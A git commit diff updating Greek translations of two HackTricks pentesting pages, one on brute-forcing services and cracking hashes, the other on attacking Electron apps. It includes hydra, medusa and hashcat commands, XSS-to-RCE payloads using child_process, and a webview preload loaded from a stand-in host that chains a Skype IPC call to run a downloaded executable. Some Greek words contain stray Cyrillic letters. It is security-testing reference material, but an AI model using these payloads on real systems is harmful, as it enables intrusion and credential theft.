mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/brute-force.md', 'src/network-services-
This commit is contained in:
parent
d397f12f87
commit
df30152055
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
||||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Cewl
|
||||
### Λίστες λέξεων βασισμένες σε ιστοσελίδες
|
||||
```bash
|
||||
# Cewl gets words from the victims page
|
||||
cewl example.com -m 5 -w words.txt
|
||||
|
||||
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
|
||||
cat /path/to/urls.txt | tok
|
||||
|
||||
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
|
||||
cat /path/to/js-urls.txt | python3 getjswords.py
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
@ -82,7 +89,7 @@ Finished in 0.920s.
|
||||
|
||||
## Υπηρεσίες
|
||||
|
||||
Ταξινομημένες αλφαβητικά κατά όνομα υπηρεσίας.
|
||||
Ταξινομημένα αλφαβητικά κατά όνομα υπηρεσίας.
|
||||
|
||||
### AFP
|
||||
```bash
|
||||
@ -128,11 +135,11 @@ ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
||||
```
|
||||
### HTTP Γενικό Brute
|
||||
### HTTP Generic Brute
|
||||
|
||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||
|
||||
### HTTP Βασική Αυθεντικοποίηση
|
||||
### HTTP Basic Auth
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||
# Use https-get mode for https
|
||||
@ -395,15 +402,15 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
||||
```
|
||||
#### Αδύναμα κλειδιά SSH / Προβλέψιμος PRNG Debian
|
||||
|
||||
Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Προγεννημένα σύνολα αδύναμων κλειδιών είναι επίσης διαθέσιμα όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για την παραγωγή κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Προγεννημένα σύνολα αδύναμων κλειδιών είναι επίσης διαθέσιμα όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ και OpenMQ)
|
||||
|
||||
Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει την απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουρών μηνυμάτων** όπως το RabbitMQ, ActiveMQ, HornetQ και OpenMQ. Παρέχει μια τυποποιημένη και αποδοτική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διαφόρων λειτουργιών μηνυμάτων.
|
||||
Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει την απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουρών μηνυμάτων** όπως το RabbitMQ, ActiveMQ, HornetQ και OpenMQ. Παρέχει μια τυποποιημένη και αποτελεσματική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διαφόρων λειτουργιών μηνυμάτων.
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
### Τελνέτ
|
||||
### Telnet
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
@ -471,10 +478,10 @@ john zip.john
|
||||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### Γνωστή επίθεση με απλό κείμενο zip
|
||||
#### Γνωστή επίθεση σε zip με απλό κείμενο
|
||||
|
||||
Πρέπει να γνωρίζετε το **απλό κείμενο** (ή μέρος του απλού κειμένου) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε **τα ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip εκτελώντας: **`7z l encrypted.zip`**\
|
||||
Κατεβάστε [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)από τη σελίδα εκδόσεων.
|
||||
Κατεβάστε [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)από τη σελίδα των εκδόσεων.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
@ -508,7 +515,7 @@ qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||
```
|
||||
### PDF Owner Password
|
||||
|
||||
Για να σπάσετε έναν κωδικό πρόσβασης PDF Owner, ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
Για να σπάσετε έναν κωδικό ιδιοκτήτη PDF, ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
### JWT
|
||||
```bash
|
||||
@ -562,7 +569,7 @@ cryptsetup luksOpen backup.img mylucksopen
|
||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
Ένα άλλο σεμινάριο Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||||
Ένα άλλο tutorial Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||||
|
||||
### Mysql
|
||||
```bash
|
||||
@ -581,11 +588,11 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
|
||||
### DPAPI Master Key
|
||||
|
||||
Χρησιμοποιήστε [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) και στη συνέχεια john
|
||||
Χρησιμοποιήστε [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) και στη συνέχεια τον john
|
||||
|
||||
### Open Office Pwd Protected Column
|
||||
|
||||
Αν έχετε ένα αρχείο xlsx με μια στήλη προστατευμένη με κωδικό πρόσβασης, μπορείτε να την αποπροστατεύσετε:
|
||||
Αν έχετε ένα αρχείο xlsx με μια στήλη προστατευμένη με κωδικό πρόσβασης, μπορείτε να την αποδεσμεύσετε:
|
||||
|
||||
- **Ανεβάστε το στο google drive** και ο κωδικός πρόσβασης θα αφαιρεθεί αυτόματα
|
||||
- Για να **αφαιρέσετε** το **χειροκίνητα**:
|
||||
@ -622,7 +629,7 @@ hash-identifier
|
||||
|
||||
### **Εργαλεία Δημιουργίας Λιστών Λέξεων**
|
||||
|
||||
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Προηγμένος γεννήτορας διαδρομών πληκτρολογίου με ρυθμιζόμενους βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές.
|
||||
- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Προηγμένος γεννήτορας περιπάτου πληκτρολογίου με ρυθμιζόμενους βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές.
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
@ -639,7 +646,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
|
||||
- **Επίθεση λίστας λέξεων** (`-a 0`) με κανόνες
|
||||
|
||||
**Hashcat** έρχεται ήδη με ένα **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
**Hashcat** έρχεται ήδη με έναν **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
```
|
||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Εισαγωγή
|
||||
|
||||
Το Electron συνδυάζει έναν τοπικό backend (με **NodeJS**) και έναν frontend (**Chromium**), αν και του λείπουν μερικοί από τους μηχανισμούς ασφαλείας των σύγχρονων προγραμμάτων περιήγησης.
|
||||
Το Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν μερικοί από τους μηχανισμούς ασφαλείας των σύγχρονων προγραμμάτων περιήγησης.
|
||||
|
||||
Συνήθως μπορείς να βρεις τον κώδικα της εφαρμογής electron μέσα σε μια εφαρμογή `.asar`, προκειμένου να αποκτήσεις τον κώδικα πρέπει να τον εξαγάγεις:
|
||||
```bash
|
||||
@ -32,18 +32,18 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Οι ρυθμίσεις της **διαδικασίας απόδοσης** μπορούν να **ρυθμιστούν** στη **κύρια διαδικασία** μέσα στο αρχείο main.js. Ορισμένες από τις ρυθμίσεις θα **αποτρέψουν την εφαρμογή Electron να αποκτήσει RCE** ή άλλες ευπάθειες αν οι **ρυθμίσεις είναι σωστά ρυθμισμένες**.
|
||||
Οι ρυθμίσεις της **διαδικασίας renderer** μπορούν να **ρυθμιστούν** στη **κύρια διαδικασία** μέσα στο αρχείο main.js. Ορισμένες από τις ρυθμίσεις θα **αποτρέψουν την εφαρμογή Electron να αποκτήσει RCE** ή άλλες ευπάθειες αν οι **ρυθμίσεις είναι σωστά ρυθμισμένες**.
|
||||
|
||||
Η εφαρμογή electron **μπορεί να έχει πρόσβαση στη συσκευή** μέσω των Node APIs, αν και μπορεί να ρυθμιστεί για να το αποτρέψει:
|
||||
|
||||
- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι ενεργοποιημένο, επιτρέπει την πρόσβαση σε χαρακτηριστικά του node από τη διαδικασία απόδοσης.
|
||||
- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι απενεργοποιημένο, οι κύριες και οι διαδικασίες απόδοσης δεν είναι απομονωμένες.
|
||||
- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι ενεργοποιημένο, επιτρέπει την πρόσβαση σε χαρακτηριστικά του node από τη διαδικασία renderer.
|
||||
- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι απενεργοποιημένο, οι κύριες και οι διαδικασίες renderer δεν είναι απομονωμένες.
|
||||
- **`preload`** - κενό από προεπιλογή.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι απενεργοποιημένο από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.
|
||||
- Ενοποίηση Node σε Εργάτες
|
||||
- Node Integration σε Workers
|
||||
- **`nodeIntegrationInSubframes`** - είναι `off` από προεπιλογή.
|
||||
- Αν η **`nodeIntegration`** είναι **ενεργοποιημένη**, αυτό θα επιτρέψει τη χρήση των **Node.js APIs** σε ιστοσελίδες που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron.
|
||||
- Αν η **`nodeIntegration`** είναι **απενεργοποιημένη**, τότε οι προφορτώσεις θα φορτωθούν στο iframe.
|
||||
- Αν **`nodeIntegration`** είναι **ενεργοποιημένο**, αυτό θα επιτρέψει τη χρήση των **Node.js APIs** σε ιστοσελίδες που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron.
|
||||
- Αν **`nodeIntegration`** είναι **απενεργοποιημένο**, τότε τα preload θα φορτωθούν στο iframe.
|
||||
|
||||
Παράδειγμα ρύθμισης:
|
||||
```javascript
|
||||
@ -111,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Αν το **nodeIntegration** είναι ρυθμισμένο σε **on**, ο JavaScript μιας ιστοσελίδας μπορεί να χρησιμοποιήσει εύκολα τις δυνατότητες του Node.js απλά καλώντας το `require()`. Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι:
|
||||
Αν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας ιστοσελίδας μπορεί να χρησιμοποιήσει εύκολα τις δυνατότητες του Node.js απλά καλώντας το `require()`. Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Επομένως, το σενάριο μπορεί να εξάγει node-features σε σελίδες:
|
||||
Ως εκ τούτου, το σενάριο μπορεί να εξάγει node-features σε σελίδες:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -152,16 +152,16 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Το _**contextIsolation**_ εισάγει **χωριστά συμφραζόμενα μεταξύ των σεναρίων της ιστοσελίδας και του εσωτερικού κώδικα JavaScript του Electron** έτσι ώστε η εκτέλεση JavaScript κάθε κώδικα να μην επηρεάζει η μία την άλλη. Αυτή είναι μια απαραίτητη δυνατότητα για να εξαλειφθεί η πιθανότητα RCE.
|
||||
Το _**contextIsolation**_ εισάγει **χωριστά συμφραζόμενα μεταξύ των σεναρίων της ιστοσελίδας και του εσωτερικού κώδικα JavaScript του Electron** έτσι ώστε η εκτέλεση JavaScript κάθε κώδικα να μην επηρεάζει το άλλο. Αυτή είναι μια απαραίτητη δυνατότητα για την εξάλειψη της πιθανότητας RCE.
|
||||
|
||||
Αν τα συμφραζόμενα δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί να:
|
||||
|
||||
1. Εκτελέσει **τυχαίο JavaScript στον renderer** (XSS ή πλοήγηση σε εξωτερικές τοποθεσίες)
|
||||
2. **Επαναγράψει τη встроμένη μέθοδο** που χρησιμοποιείται στον preload ή στον εσωτερικό κώδικα του Electron σε δική του συνάρτηση
|
||||
3. **Ενεργοποιήσει** τη χρήση της **επαναγραμμένης συνάρτησης**
|
||||
1. Εκτελέσει **τυχαίο JavaScript στον renderer** (XSS ή πλοήγηση σε εξωτερικές ιστοσελίδες)
|
||||
2. **Αντικαταστήσει τη встроμένη μέθοδο** που χρησιμοποιείται στον preload ή στον εσωτερικό κώδικα του Electron με τη δική του συνάρτηση
|
||||
3. **Ενεργοποιήσει** τη χρήση της **αντικατεστημένης συνάρτησης**
|
||||
4. RCE;
|
||||
|
||||
Υπάρχουν 2 μέρη όπου οι встроμένες μέθοδοι μπορούν να επαναγραφούν: Στον κώδικα preload ή στον εσωτερικό κώδικα του Electron:
|
||||
Υπάρχουν 2 μέρη όπου οι встроμένες μέθοδοι μπορούν να αντικατασταθούν: Στον κώδικα preload ή στον εσωτερικό κώδικα του Electron:
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-preload-code.md
|
||||
@ -185,7 +185,7 @@ window.addEventListener('click', (e) => {
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα, ελέγξτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Κατά την ανάπτυξη μιας εφαρμογής Electron desktop, είναι κρίσιμο να διασφαλιστούν οι σωστές ρυθμίσεις για το `nodeIntegration` και το `contextIsolation`. Είναι αποδεδειγμένο ότι η **εκτέλεση απομακρυσμένου κώδικα (RCE)** από την πλευρά του πελάτη που στοχεύει σε preload scripts ή στον εγγενή κώδικα του Electron από τη βασική διαδικασία αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις σε εφαρμογή.
|
||||
Κατά την ανάπτυξη μιας εφαρμογής Electron desktop, είναι κρίσιμο να διασφαλιστούν οι σωστές ρυθμίσεις για το `nodeIntegration` και το `contextIsolation`. Είναι αποδεκτό ότι η **εκτέλεση απομακρυσμένου κώδικα (RCE)** από την πλευρά του πελάτη που στοχεύει σε preload scripts ή στον εγγενή κώδικα του Electron από τη βασική διαδικασία αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις σε εφαρμογή.
|
||||
|
||||
Κατά την αλληλεπίδραση ενός χρήστη με συνδέσμους ή το άνοιγμα νέων παραθύρων, ενεργοποιούνται συγκεκριμένοι ακροατές γεγονότων, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:
|
||||
```javascript
|
||||
@ -200,7 +200,7 @@ webContents.on("will-navigate", function (event, url) {}
|
||||
|
||||
.png>)
|
||||
|
||||
Οι καλύτερες πρακτικές ασφαλείας του Electron JS προειδοποιούν κατά της αποδοχής μη αξιόπιστου περιεχομένου με τη συνάρτηση `openExternal`, καθώς αυτό θα μπορούσε να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να προκαλέσουν RCE. Για λεπτομερείς παραδείγματα και περαιτέρω εξήγηση σχετικά με αυτό το θέμα, μπορεί κανείς να ανατρέξει [σε αυτόν τον πόρο](https://positive.security/blog/url-open-rce#windows-10-19042), ο οποίος περιλαμβάνει παραδείγματα πρωτοκόλλων Windows ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
|
||||
Οι καλύτερες πρακτικές ασφαλείας του Electron JS προειδοποιούν κατά της αποδοχής μη αξιόπιστου περιεχομένου με τη συνάρτηση `openExternal`, καθώς αυτό θα μπορούσε να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να ενεργοποιήσουν RCE. Για λεπτομερείς παραδείγματα και περαιτέρω εξήγηση σχετικά με αυτό το θέμα, μπορεί κανείς να ανατρέξει [σε αυτό το πόρο](https://positive.security/blog/url-open-rce#windows-10-19042), ο οποίος περιλαμβάνει παραδείγματα πρωτοκόλλων Windows ικανά να εκμεταλλευτούν αυτή την ευπάθεια.
|
||||
|
||||
Στο macos, η συνάρτηση `openExternal` μπορεί να εκμεταλλευτεί για να εκτελέσει αυθαίρετες εντολές όπως στο `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
@ -224,13 +224,34 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + ευάλωτο preload IPC + shell.openExternal
|
||||
|
||||
Αυτή η ευπάθεια μπορεί να βρεθεί σε **[αυτή την αναφορά](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
|
||||
|
||||
Το **webviewTag** είναι μια **παρωχημένη δυνατότητα** που επιτρέπει τη χρήση του **NodeJS** στη **διαδικασία απόδοσης**, η οποία θα πρέπει να απενεργοποιείται καθώς επιτρέπει τη φόρτωση ενός script μέσα στο πλαίσιο preload όπως:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Ως εκ τούτου, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτή την ετικέτα για να **φορτώσει ένα αυθαίρετο σενάριο προφόρτωσης**.
|
||||
|
||||
Αυτό το σενάριο προφόρτωσης καταχράστηκε στη συνέχεια για να καλέσει μια **ευάλωτη υπηρεσία IPC (`skype-new-window`)** που καλούσε **`shell.openExternal`** για να αποκτήσει RCE:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
|
||||
setTimeout(async () => {
|
||||
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
|
||||
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation
|
||||
|
||||
**Η απενεργοποίηση του `contextIsolation` επιτρέπει τη χρήση των ετικετών `<webview>`**, παρόμοια με τις `<iframe>`, για την ανάγνωση και εξαγωγή τοπικών αρχείων. Ένα παράδειγμα που παρέχεται δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να διαβάσετε το περιεχόμενο εσωτερικών αρχείων:
|
||||
|
||||
.png>)
|
||||
|
||||
Επιπλέον, μια άλλη μέθοδος για **την ανάγνωση ενός εσωτερικού αρχείου** μοιράζεται, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικών αρχείων σε μια εφαρμογή Electron desktop. Αυτό περιλαμβάνει την εισαγωγή ενός script για την εκμετάλλευση της εφαρμογής και την εξαγωγή δεδομένων:
|
||||
Επιπλέον, μια άλλη μέθοδος για **την ανάγνωση ενός εσωτερικού αρχείου** κοινοποιείται, επισημαίνοντας μια κρίσιμη ευπάθεια ανάγνωσης τοπικών αρχείων σε μια εφαρμογή Electron desktop. Αυτό περιλαμβάνει την έγχυση ενός script για να εκμεταλλευτείτε την εφαρμογή και να εξαγάγετε δεδομένα:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -246,39 +267,43 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + Old Chromium**
|
||||
## **RCE: XSS + Παλιός Chromium**
|
||||
|
||||
Αν ο **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλιός** και υπάρχουν **γνωστές** **ευπάθειες** σε αυτόν, μπορεί να είναι δυνατό να **εκμεταλλευτείτε και να αποκτήσετε RCE μέσω ενός XSS**.\
|
||||
Μπορείτε να δείτε ένα παράδειγμα σε αυτή τη **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Αν ο **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλιός** και υπάρχουν **γνωστές** **ευπάθειες** σε αυτόν, μπορεί να είναι δυνατό να **εκμεταλλευτείς το και να αποκτήσεις RCE μέσω ενός XSS**.\
|
||||
Μπορείς να δεις ένα παράδειγμα σε αυτή τη **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing μέσω παράκαμψης regex εσωτερικού URL**
|
||||
|
||||
Υποθέτοντας ότι βρήκατε ένα XSS αλλά **δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε εσωτερικά αρχεία**, θα μπορούσατε να προσπαθήσετε να το χρησιμοποιήσετε για **να κλέψετε διαπιστευτήρια μέσω phishing**.
|
||||
Υποθέτοντας ότι βρήκες ένα XSS αλλά **δεν μπορείς να ενεργοποιήσεις RCE ή να κλέψεις εσωτερικά αρχεία**, θα μπορούσες να προσπαθήσεις να το χρησιμοποιήσεις για να **κλέψεις διαπιστευτήρια μέσω phishing**.
|
||||
|
||||
Πρώτα απ' όλα, πρέπει να ξέρετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε μια νέα διεύθυνση URL, ελέγχοντας τον κωδικό JS στο front-end:
|
||||
Πρώτα απ' όλα, πρέπει να ξέρεις τι συμβαίνει όταν προσπαθείς να ανοίξεις μια νέα διεύθυνση URL, ελέγχοντας τον κωδικό JS στο front-end:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Η κλήση στο **`openInternally`** θα αποφασίσει αν το **link** θα **ανοίξει** στο **παράθυρο επιφάνειας εργασίας** καθώς είναι ένα link που ανήκει στην πλατφόρμα, **ή** αν θα ανοίξει στον **φυλλομετρητή ως πόρος τρίτου μέρους**.
|
||||
|
||||
Στην περίπτωση που η **regex** που χρησιμοποιείται από τη συνάρτηση είναι **ευάλωτη σε παρακάμψεις** (για παράδειγμα, **μη διαφεύγοντας τα σημεία των υποτομέων**) ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρίσκεται στην υποδομή του επιτιθέμενου **ζητώντας διαπιστευτήρια** από τον χρήστη:
|
||||
Σε περίπτωση που η **regex** που χρησιμοποιείται από τη συνάρτηση είναι **ευάλωτη σε παρακάμψεις** (για παράδειγμα, μη **διαφεύγοντας τα σημεία των υποτομέων**), ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρίσκεται στην υποδομή του επιτιθέμενου **ζητώντας διαπιστευτήρια** από τον χρήστη:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## Remote module
|
||||
## `file://` Πρωτόκολλο
|
||||
|
||||
Το Electron Remote module επιτρέπει **στιγμιότυπα απόδοσης να έχουν πρόσβαση σε APIs της κύριας διαδικασίας**, διευκολύνοντας την επικοινωνία εντός μιας εφαρμογής Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφαλείας. Επεκτείνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο ευάλωτη σε ευπάθειες όπως οι επιθέσεις cross-site scripting (XSS).
|
||||
Όπως αναφέρεται στα [έγγραφα](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), οι σελίδες που εκτελούνται σε **`file://`** έχουν μονομερή πρόσβαση σε κάθε αρχείο στον υπολογιστή σας, πράγμα που σημαίνει ότι **τα ζητήματα XSS μπορούν να χρησιμοποιηθούν για να φορτώσουν αυθαίρετα αρχεία** από τον υπολογιστή του χρήστη. Η χρήση ενός **προσαρμοσμένου πρωτοκόλλου** αποτρέπει τέτοια ζητήματα, καθώς μπορείτε να περιορίσετε το πρωτόκολλο ώστε να εξυπηρετεί μόνο ένα συγκεκριμένο σύνολο αρχείων.
|
||||
|
||||
## Απομακρυσμένο module
|
||||
|
||||
Το Electron Remote module επιτρέπει στους **renderer processes να έχουν πρόσβαση σε APIs της κύριας διαδικασίας**, διευκολύνοντας την επικοινωνία εντός μιας εφαρμογής Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφαλείας. Επεκτείνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο ευάλωτη σε ευπάθειες όπως οι επιθέσεις cross-site scripting (XSS).
|
||||
|
||||
> [!TIP]
|
||||
> Αν και το **remote** module εκθέτει ορισμένα APIs από την κύρια διαδικασία στις διαδικασίες απόδοσης, δεν είναι απλό να αποκτηθεί RCE μόνο με την κακή χρήση των συστατικών. Ωστόσο, τα συστατικά μπορεί να εκθέσουν ευαίσθητες πληροφορίες.
|
||||
> Αν και το **remote** module εκθέτει ορισμένα APIs από την κύρια διαδικασία στις διαδικασίες renderer, δεν είναι απλό να αποκτήσετε RCE μόνο εκμεταλλευόμενοι τα συστατικά. Ωστόσο, τα συστατικά μπορεί να εκθέτουν ευαίσθητες πληροφορίες.
|
||||
|
||||
> [!WARNING]
|
||||
> Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που **απαιτεί να είναι ενεργοποιημένο το NodeIntegration** στη διαδικασία απόδοσης, το οποίο είναι **μεγάλος κίνδυνος ασφαλείας**.
